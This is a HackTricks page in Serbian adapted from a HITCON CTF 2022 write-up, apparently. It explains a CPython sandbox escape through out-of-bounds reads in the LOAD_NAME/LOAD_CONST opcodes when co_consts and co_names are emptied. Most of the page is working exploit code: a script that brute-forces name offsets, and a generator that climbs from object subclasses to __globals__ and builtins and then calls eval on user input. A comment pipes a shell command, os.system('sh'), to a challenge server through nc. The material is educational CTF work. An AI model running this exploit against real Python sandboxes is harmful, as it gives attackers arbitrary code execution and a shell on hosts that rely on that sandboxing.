# LOAD_NAME / LOAD_CONST opcode OOB Read
{{#include ../../../banners/hacktricks-training.md}}
**Ove informacije su preuzete** [**iz ovog izveštaja**](https://blog.splitline.tw/hitcon-ctf-2022/)**.**
### TL;DR
Možemo koristiti OOB read funkciju u LOAD_NAME / LOAD_CONST opcode da dobijemo neki simbol u memoriji. Što znači korišćenje trikova kao što su `(a, b, c, ... stotine simbola ..., __getattribute__) if [] else [].__getattribute__(...)` da dobijemo simbol (kao što je ime funkcije) koji želite.
Zatim samo kreirajte svoj exploit.
### Overview
Izvorni kod je prilično kratak, sadrži samo 4 linije!
```python
source = input('>>> ')
if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=())
print(eval(code, {'__builtins__': {}}))1234
```
Možete uneti proizvoljan Python kod, i on će biti kompajliran u [Python kod objekat](https://docs.python.org/3/c-api/code.html). Međutim, `co_consts` i `co_names` tog kod objekta biće zamenjeni praznom tupelom pre nego što se eval-uju taj kod objekat.
Tako da na ovaj način, sve izraze koji sadrže konstante (npr. brojevi, stringovi itd.) ili imena (npr. promenljive, funkcije) mogu na kraju izazvati grešku segmentacije.
### Out of Bound Read
Kako se dešava greška segmentacije?
Hajde da počnemo sa jednostavnim primerom, `[a, b, c]` može biti kompajliran u sledeći bajtkod.
```
1 0 LOAD_NAME 0 (a)
2 LOAD_NAME 1 (b)
4 LOAD_NAME 2 (c)
6 BUILD_LIST 3
8 RETURN_VALUE12345
```
Ali šta ako `co_names` postane prazan tuple? `LOAD_NAME 2` opcode se i dalje izvršava i pokušava da pročita vrednost sa te memorijske adrese sa koje bi prvobitno trebala da bude. Da, ovo je "karakteristika" čitanja van granica.
Osnovni koncept rešenja je jednostavan. Neki opkodi u CPython-u, na primer `LOAD_NAME` i `LOAD_CONST`, su ranjivi (?) na OOB čitanje.
Oni preuzimaju objekat sa indeksa `oparg` iz `consts` ili `names` tuple-a (to su `co_consts` i `co_names` pod haubom). Možemo se osloniti na sledeći kratak isječak o `LOAD_CONST` da vidimo šta CPython radi kada obrađuje `LOAD_CONST` opcode.
```c
case TARGET(LOAD_CONST): {
PREDICTED(LOAD_CONST);
PyObject *value = GETITEM(consts, oparg);
Py_INCREF(value);
PUSH(value);
FAST_DISPATCH();
}1234567
```
Na ovaj način možemo koristiti OOB funkciju da dobijemo "ime" sa proizvoljnog memorijskog ofseta. Da bismo bili sigurni koje ime ima i koji je njegov ofset, samo nastavite da pokušavate `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... I mogli biste pronaći nešto oko oparg > 700. Takođe možete pokušati da koristite gdb da pogledate raspored memorije, naravno, ali ne mislim da bi to bilo lakše?
### Generating the Exploit
Kada dobijemo te korisne ofsete za imena / konstante, kako _dobijamo_ ime / konstantu sa tog ofseta i koristimo je? Evo jednog trika za vas:\
Pretpostavimo da možemo dobiti `__getattribute__` ime sa ofseta 5 (`LOAD_NAME 5`) sa `co_names=()`, onda samo uradite sledeće:
```python
[a,b,c,d,e,__getattribute__] if [] else [
[].__getattribute__
# you can get the __getattribute__ method of list object now!
]1234
```
> Obratite pažnju da nije potrebno nazvati ga `__getattribute__`, možete ga nazvati nečim kraćim ili čudnijim
Razlog možete razumeti jednostavno gledajući njegov bajtkod:
```python
0 BUILD_LIST 0
2 POP_JUMP_IF_FALSE 20
>> 4 LOAD_NAME 0 (a)
>> 6 LOAD_NAME 1 (b)
>> 8 LOAD_NAME 2 (c)
>> 10 LOAD_NAME 3 (d)
>> 12 LOAD_NAME 4 (e)
>> 14 LOAD_NAME 5 (__getattribute__)
16 BUILD_LIST 6
18 RETURN_VALUE
20 BUILD_LIST 0
>> 22 LOAD_ATTR 5 (__getattribute__)
24 BUILD_LIST 1
26 RETURN_VALUE1234567891011121314
```
Napomena da `LOAD_ATTR` takođe preuzima ime iz `co_names`. Python učitava imena sa iste pozicije ako je ime isto, tako da se drugi `__getattribute__` i dalje učitava sa offset=5. Koristeći ovu funkciju možemo koristiti proizvoljno ime kada je ime u memoriji u blizini.
Za generisanje brojeva bi trebalo da bude trivijalno:
- 0: not \[\[]]
- 1: not \[]
- 2: (not \[]) + (not \[])
- ...
### Exploit Script
Nisam koristio konstante zbog ograničenja dužine.
Prvo, ovde je skripta za pronalaženje tih offset-a imena.
```python
from types import CodeType
from opcode import opmap
from sys import argv
class MockBuiltins(dict):
def __getitem__(self, k):
if type(k) == str:
return k
if __name__ == '__main__':
n = int(argv[1])
code = [
*([opmap['EXTENDED_ARG'], n // 256]
if n // 256 != 0 else []),
opmap['LOAD_NAME'], n % 256,
opmap['RETURN_VALUE'], 0
]
c = CodeType(
0, 0, 0, 0, 0, 0,
bytes(code),
(), (), (), '', '', 0, b'', ()
)
ret = eval(c, {'__builtins__': MockBuiltins()})
if ret:
print(f'{n}: {ret}')
# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
```
A sledeće je za generisanje pravog Python eksploita.
```python
import sys
import unicodedata
class Generator:
# get numner
def __call__(self, num):
if num == 0:
return '(not[[]])'
return '(' + ('(not[])+' * num)[:-1] + ')'
# get string
def __getattribute__(self, name):
try:
offset = None.__dir__().index(name)
return f'keys[{self(offset)}]'
except ValueError:
offset = None.__class__.__dir__(None.__class__).index(name)
return f'keys2[{self(offset)}]'
_ = Generator()
names = []
chr_code = 0
for x in range(4700):
while True:
chr_code += 1
char = unicodedata.normalize('NFKC', chr(chr_code))
if char.isidentifier() and char not in names:
names.append(char)
break
offsets = {
"__delitem__": 2800,
"__getattribute__": 2850,
'__dir__': 4693,
'__repr__': 2128,
}
variables = ('keys', 'keys2', 'None_', 'NoneType',
'm_repr', 'globals', 'builtins',)
for name, offset in offsets.items():
names[offset] = name
for i, var in enumerate(variables):
assert var not in offsets
names[792 + i] = var
source = f'''[
({",".join(names)}) if [] else [],
None_ := [[]].__delitem__({_(0)}),
keys := None_.__dir__(),
NoneType := None_.__getattribute__({_.__class__}),
keys2 := NoneType.__dir__(NoneType),
get := NoneType.__getattribute__,
m_repr := get(
get(get([],{_.__class__}),{_.__base__}),
{_.__subclasses__}
)()[-{_(2)}].__repr__,
globals := get(m_repr, m_repr.__dir__()[{_(6)}]),
builtins := globals[[*globals][{_(7)}]],
builtins[[*builtins][{_(19)}]](
builtins[[*builtins][{_(28)}]](), builtins
)
]'''.strip().replace('\n', '').replace(' ', '')
print(f"{len(source) = }", file=sys.stderr)
print(source)
# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
```
U suštini, to radi sledeće stvari, za te stringove dobijamo ih iz `__dir__` metode:
```python
getattr = (None).__getattribute__('__class__').__getattribute__
builtins = getattr(
getattr(
getattr(
[].__getattribute__('__class__'),
'__base__'),
'__subclasses__'
)()[-2],
'__repr__').__getattribute__('__globals__')['builtins']
builtins['eval'](builtins['input']())
```
{{#include ../../../banners/hacktricks-training.md}}